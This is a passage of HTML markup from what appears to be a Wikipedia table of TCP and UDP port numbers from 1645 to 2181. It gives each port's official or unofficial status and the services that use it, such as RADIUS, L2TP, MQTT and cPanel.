style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>LonTalk urgent\n</td></tr>\n<tr>\n<td>1645</td>\n<td style=\"background:#FFC7C7;vertical-align:middle;text-align:center;\" class=\"table-no\">No</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Early deployment of <a href=\"/wiki/RADIUS\" title=\"RADIUS\">RADIUS</a> before RFC standardization was done using UDP port number 1645. Enabled for compatibility reasons by default on <a href=\"/wiki/Cisco\" title=\"Cisco\">Cisco</a><sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (August 2016)\">citation needed</span></a></i>&#93;</sup> and <a href=\"/wiki/Juniper_Networks\" title=\"Juniper Networks\">Juniper Networks</a> RADIUS servers.<sup id=\"cite_ref-juniper-radius-overview_143-0\" class=\"reference\"><a href=\"#cite_note-juniper-radius-overview-143\">&#91;141&#93;</a></sup> Official port is 1812. TCP port 1645 <span style=\"text-transform: uppercase;\"><b>must not</b></span> be used.<sup id=\"cite_ref-rfc6613_144-0\" class=\"reference\"><a href=\"#cite_note-rfc6613-144\">&#91;142&#93;</a></sup>\n</td></tr>\n<tr>\n<td>1646</td>\n<td style=\"background:#FFC7C7;vertical-align:middle;text-align:center;\" class=\"table-no\">No</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Old <code>radacct</code> port,<sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Manual_of_Style/Dates_and_numbers#Chronological_items\" title=\"Wikipedia:Manual of Style/Dates and numbers\"><span title=\"The time period mentioned near this tag is ambiguous. (August 2016)\">when?</span></a></i>&#93;</sup> RADIUS accounting protocol. Enabled for compatibility reasons by default on Cisco<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (August 2016)\">citation needed</span></a></i>&#93;</sup> and <a href=\"/wiki/Juniper_Networks\" title=\"Juniper Networks\">Juniper Networks</a> RADIUS servers.<sup id=\"cite_ref-juniper-radius-overview_143-1\" class=\"reference\"><a href=\"#cite_note-juniper-radius-overview-143\">&#91;141&#93;</a></sup> Official port is 1813. TCP port 1646 <span style=\"text-transform: uppercase;\"><b>must not</b></span> be used.<sup id=\"cite_ref-rfc6613_144-1\" class=\"reference\"><a href=\"#cite_note-rfc6613-144\">&#91;142&#93;</a></sup>\n</td></tr>\n<tr>\n<td>1666</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Perforce\" title=\"Perforce\">Perforce</a><sup id=\"cite_ref-perforce-cmdref-p4port_145-0\" class=\"reference\"><a href=\"#cite_note-perforce-cmdref-p4port-145\">&#91;143&#93;</a></sup>\n</td></tr>\n<tr>\n<td>1677</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Novell_GroupWise\" class=\"mw-redirect\" title=\"Novell GroupWise\">Novell GroupWise</a> clients in client/server access mode\n</td></tr>\n<tr>\n<td>1688</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Microsoft <a href=\"/wiki/Key_Management_Service\" class=\"mw-redirect\" title=\"Key Management Service\">Key Management Service</a> (KMS) for Windows Activation<sup id=\"cite_ref-msft-tn-ee939272_146-0\" class=\"reference\"><a href=\"#cite_note-msft-tn-ee939272-146\">&#91;144&#93;</a></sup>\n</td></tr>\n<tr>\n<td rowspan=\"2\">1701\n</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Layer_2_Forwarding_Protocol\" title=\"Layer 2 Forwarding Protocol\">Layer 2 Forwarding Protocol</a> (L2F)\n</td></tr>\n<tr>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Layer_2_Tunneling_Protocol\" title=\"Layer 2 Tunneling Protocol\">Layer 2 Tunneling Protocol</a> (L2TP)<sup id=\"cite_ref-apple-kb-HT202944_11-42\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup>\n</td></tr>\n<tr>\n<td rowspan=\"2\">1707\n</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Windward_Studios\" title=\"Windward Studios\">Windward Studios</a> games (vdmplay)\n</td></tr>\n<tr>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>L2TP/IPsec, for establish an initial connection<sup id=\"cite_ref-rfc3193_147-0\" class=\"reference\"><a href=\"#cite_note-rfc3193-147\">&#91;145&#93;</a></sup>\n</td></tr>\n<tr>\n<td>1714–1764</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/KDE_Connect\" title=\"KDE Connect\">KDE Connect</a><sup id=\"cite_ref-148\" class=\"reference\"><a href=\"#cite_note-148\">&#91;146&#93;</a></sup>\n</td></tr>\n<tr>\n<td>1716</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/America%27s_Army\" title=\"America&#39;s Army\">America's Army</a>, a <a href=\"/wiki/Massively_multiplayer_online_game\" title=\"Massively multiplayer online game\">massively multiplayer online game</a> (MMO)<sup id=\"cite_ref-aa-manual-ls_149-0\" class=\"reference\"><a href=\"#cite_note-aa-manual-ls-149\">&#91;147&#93;</a></sup>\n</td></tr>\n<tr>\n<td>1719</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/H.323\" title=\"H.323\">H.323</a> registration and alternate communication\n</td></tr>\n<tr>\n<td>1720</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/H.323\" title=\"H.323\">H.323</a> call signaling\n</td></tr>\n<tr>\n<td>1723</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Point-to-Point_Tunneling_Protocol\" title=\"Point-to-Point Tunneling Protocol\">Point-to-Point Tunneling Protocol</a> (PPTP)<sup id=\"cite_ref-apple-kb-HT202944_11-43\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup>\n</td></tr>\n<tr>\n<td>1755</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Microsoft_Media_Services\" class=\"mw-redirect\" title=\"Microsoft Media Services\">Microsoft Media Services</a> (MMS, <code>ms-streaming</code>)\n</td></tr>\n<tr>\n<td>1761</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Novell_ZENworks\" class=\"mw-redirect\" title=\"Novell ZENworks\">Novell ZENworks</a><sup id=\"cite_ref-novell-kb-3880659_150-0\" class=\"reference\"><a href=\"#cite_note-novell-kb-3880659-150\">&#91;148&#93;</a></sup><sup id=\"cite_ref-novell-zen11-b18151xi_151-0\" class=\"reference\"><a href=\"#cite_note-novell-zen11-b18151xi-151\">&#91;149&#93;</a></sup>\n</td></tr>\n<tr>\n<td>1776</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Emergency_management_information_system\" title=\"Emergency management information system\">Emergency management information system</a>\n</td></tr>\n<tr>\n<td>1783</td>\n<td colspan=\"4\" data-sort-value=\"\" style=\"background: #ececec; color: #2C2C2C; vertical-align: middle; text-align: center;\" class=\"table-na\">Reserved\n</td>\n<td>\"Decomissioned&#32;&#91;<i><a href=\"/wiki/Sic\" title=\"Sic\">sic</a></i>&#93; Port 04/14/00, ms\"<sup id=\"cite_ref-IANA_2-11\" class=\"reference\"><a href=\"#cite_note-IANA-2\">&#91;2&#93;</a></sup>\n</td></tr>\n<tr>\n<td>1801</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Microsoft_Message_Queuing\" title=\"Microsoft Message Queuing\">Microsoft Message Queuing</a>\n</td></tr>\n<tr>\n<td>1812</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/RADIUS\" title=\"RADIUS\">RADIUS</a> authentication protocol, <code>radius</code>\n</td></tr>\n<tr>\n<td>1813</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/RADIUS\" title=\"RADIUS\">RADIUS</a> accounting protocol, <code>radius-acct</code>\n</td></tr>\n<tr>\n<td>1863</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Microsoft_Notification_Protocol\" title=\"Microsoft Notification Protocol\">Microsoft Notification Protocol</a> (MSNP), used by the <a href=\"/wiki/Microsoft_Messenger_service\" title=\"Microsoft Messenger service\">Microsoft Messenger service</a> and a number of instant messaging <a href=\"/wiki/Microsoft_Messenger_service#Official_clients\" title=\"Microsoft Messenger service\">Messenger clients</a>\n</td></tr>\n<tr>\n<td>1880</td>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Node-RED\" title=\"Node-RED\">Node-RED</a><sup id=\"cite_ref-nodered-docs-config_152-0\" class=\"reference\"><a href=\"#cite_note-nodered-docs-config-152\">&#91;150&#93;</a></sup>\n</td></tr>\n<tr>\n<td>1883</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/MQTT\" title=\"MQTT\">MQTT</a> (formerly MQ Telemetry Transport)\n</td></tr>\n<tr>\n<td>1900</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Simple_Service_Discovery_Protocol\" title=\"Simple Service Discovery Protocol\">Simple Service Discovery Protocol</a> (SSDP),<sup id=\"cite_ref-apple-kb-HT202944_11-44\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup> discovery of <a href=\"/wiki/Universal_Plug_and_Play\" title=\"Universal Plug and Play\">UPnP</a> devices\n</td></tr>\n<tr>\n<td rowspan=\"2\">1935\n</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Adobe_Flash\" title=\"Adobe Flash\">Macromedia Flash</a> Communications <a href=\"/wiki/Macromedia_Studio_MX\" class=\"mw-redirect\" title=\"Macromedia Studio MX\">Server MX</a>, the precursor to <a href=\"/wiki/Adobe_Flash_Media_Server\" class=\"mw-redirect\" title=\"Adobe Flash Media Server\">Adobe Flash Media Server</a> before <a href=\"/wiki/Macromedia\" title=\"Macromedia\">Macromedia</a>'s acquisition by <a href=\"/wiki/Adobe_Inc\" class=\"mw-redirect\" title=\"Adobe Inc\">Adobe</a> on December 3, 2005\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Real_Time_Messaging_Protocol\" class=\"mw-redirect\" title=\"Real Time Messaging Protocol\">Real Time Messaging Protocol</a> (RTMP)<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (August 2016)\">citation needed</span></a></i>&#93;</sup>, primarily used in <a href=\"/wiki/Adobe_Flash\" title=\"Adobe Flash\">Adobe Flash</a><sup id=\"cite_ref-adobe-helpx-ports-firewalls_153-0\" class=\"reference\"><a href=\"#cite_note-adobe-helpx-ports-firewalls-153\">&#91;151&#93;</a></sup>\n</td></tr>\n<tr>\n<td>1965</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background:#FFC7C7;vertical-align:middle;text-align:center;\" class=\"table-no\">No</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Gemini_(protocol)\" title=\"Gemini (protocol)\">Gemini</a>, a lightweight, collaboratively designed protocol, striving to fill the gap between Gopher and HTTP<sup id=\"cite_ref-gemini-specification_154-0\" class=\"reference\"><a href=\"#cite_note-gemini-specification-154\">&#91;152&#93;</a></sup>\n</td></tr>\n<tr>\n<td>1967</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Cisco IOS IP Service Level Agreements (<a href=\"/wiki/IP_SLA\" class=\"mw-redirect\" title=\"IP SLA\">IP SLAs</a>) Control Protocol<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (March 2012)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>1972</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/InterSystems_Cach%C3%A9\" title=\"InterSystems Caché\">InterSystems Caché</a>\n</td></tr>\n<tr>\n<td>1984</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Big_Brother_(software)\" title=\"Big Brother (software)\">Big Brother</a>\n</td></tr>\n<tr>\n<td>1985</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Cisco <a href=\"/wiki/Hot_Standby_Router_Protocol\" title=\"Hot Standby Router Protocol\">Hot Standby Router Protocol</a> (HSRP)<sup id=\"cite_ref-cisco-support-hsrp-faq_155-0\" class=\"reference\"><a href=\"#cite_note-cisco-support-hsrp-faq-155\">&#91;153&#93;</a></sup><sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Verifiability#Self-published_sources\" title=\"Wikipedia:Verifiability\"><span title=\"This reference citation appears to be to a self-published source. (April 2018)\">self-published source</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>1998</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Cisco X.25 over TCP (<a href=\"/wiki/XOT\" title=\"XOT\">XOT</a>) service\n</td></tr>\n<tr>\n<td>2000</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Cisco <a href=\"/wiki/Skinny_Client_Control_Protocol\" title=\"Skinny Client Control Protocol\">Skinny Client Control Protocol</a> (SCCP)\n</td></tr>\n<tr>\n<td>2010</td>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Artemis:_Spaceship_Bridge_Simulator\" title=\"Artemis: Spaceship Bridge Simulator\">Artemis: Spaceship Bridge Simulator</a><sup id=\"cite_ref-156\" class=\"reference\"><a href=\"#cite_note-156\">&#91;154&#93;</a></sup>\n</td></tr>\n<tr>\n<td>2033</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Civilization_IV\" title=\"Civilization IV\">Civilization IV</a> multiplayer<sup id=\"cite_ref-2k-support-201333253_157-0\" class=\"reference\"><a href=\"#cite_note-2k-support-201333253-157\">&#91;155&#93;</a></sup>\n</td></tr>\n<tr>\n<td>2049</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td>\n</td>\n<td><a href=\"/wiki/Network_File_System\" title=\"Network File System\">Network File System</a> (NFS)<sup id=\"cite_ref-apple-kb-HT202944_11-45\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup>\n</td></tr>\n<tr>\n<td>2056</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Civilization IV multiplayer<sup id=\"cite_ref-2k-support-201333253_157-1\" class=\"reference\"><a href=\"#cite_note-2k-support-201333253-157\">&#91;155&#93;</a></sup>\n</td></tr>\n<tr>\n<td>2080</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Autodesk\" title=\"Autodesk\">Autodesk</a> NLM (<a href=\"/wiki/FLEXlm\" class=\"mw-redirect\" title=\"FLEXlm\">FLEXlm</a>)\n</td></tr>\n<tr>\n<td>2082</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/CPanel\" title=\"CPanel\">cPanel</a> default<sup id=\"cite_ref-cpanel-ckb-login_158-0\" class=\"reference\"><a href=\"#cite_note-cpanel-ckb-login-158\">&#91;156&#93;</a></sup>\n</td></tr>\n<tr>\n<td rowspan=\"2\">2083\n</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Secure <a href=\"/wiki/RADIUS\" title=\"RADIUS\">RADIUS</a> Service (radsec)\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>cPanel default <a href=\"/wiki/Secure_Sockets_Layer\" class=\"mw-redirect\" title=\"Secure Sockets Layer\">SSL</a><sup id=\"cite_ref-cpanel-ckb-login_158-1\" class=\"reference\"><a href=\"#cite_note-cpanel-ckb-login-158\">&#91;156&#93;</a></sup>\n</td></tr>\n<tr>\n<td rowspan=\"2\">2086\n</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/GNUnet\" title=\"GNUnet\">GNUnet</a>\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/WHM\" class=\"mw-redirect\" title=\"WHM\">WebHost Manager</a> default<sup id=\"cite_ref-cpanel-ckb-login_158-2\" class=\"reference\"><a href=\"#cite_note-cpanel-ckb-login-158\">&#91;156&#93;</a></sup>\n</td></tr>\n<tr>\n<td>2087</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>WebHost Manager default <a href=\"/wiki/Secure_Sockets_Layer\" class=\"mw-redirect\" title=\"Secure Sockets Layer\">SSL</a><sup id=\"cite_ref-cpanel-ckb-login_158-3\" class=\"reference\"><a href=\"#cite_note-cpanel-ckb-login-158\">&#91;156&#93;</a></sup>\n</td></tr>\n<tr>\n<td>2095</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>cPanel default web mail<sup id=\"cite_ref-cpanel-ckb-login_158-4\" class=\"reference\"><a href=\"#cite_note-cpanel-ckb-login-158\">&#91;156&#93;</a></sup>\n</td></tr>\n<tr>\n<td>2096</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>cPanel default <a href=\"/wiki/Secure_Sockets_Layer\" class=\"mw-redirect\" title=\"Secure Sockets Layer\">SSL</a> web mail<sup id=\"cite_ref-cpanel-ckb-login_158-5\" class=\"reference\"><a href=\"#cite_note-cpanel-ckb-login-158\">&#91;156&#93;</a></sup>\n</td></tr>\n<tr>\n<td>2100</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Warzone_2100\" title=\"Warzone 2100\">Warzone 2100</a> multiplayer<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (August 2016)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>2101</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Networked_Transport_of_RTCM_via_Internet_Protocol\" title=\"Networked Transport of RTCM via Internet Protocol\">Networked Transport of RTCM via Internet Protocol</a> (NTRIP)<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (August 2016)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>2102</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Zephyr_(protocol)\" title=\"Zephyr (protocol)\">Zephyr Notification Service</a> server\n</td></tr>\n<tr>\n<td>2103</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Zephyr Notification Service <code>serv-hm</code> connection\n</td></tr>\n<tr>\n<td>2104</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Zephyr Notification Service hostmanager\n</td></tr>\n<tr>\n<td>2123</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/GPRS_Tunnelling_Protocol\" title=\"GPRS Tunnelling Protocol\">GTP</a> control messages (GTP-C)\n</td></tr>\n<tr>\n<td>2142</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/TDMoIP\" title=\"TDMoIP\">TDMoIP</a> (TDM over IP)\n</td></tr>\n<tr>\n<td>2152</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/GPRS_Tunnelling_Protocol\" title=\"GPRS Tunnelling Protocol\">GTP</a> user data messages (GTP-U)\n</td></tr>\n<tr>\n<td>2159</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Gdbserver\" title=\"Gdbserver\">GDB remote debug port</a>\n</td></tr>\n<tr>\n<td rowspan=\"2\">2181\n</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>EForward-document transport system\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a 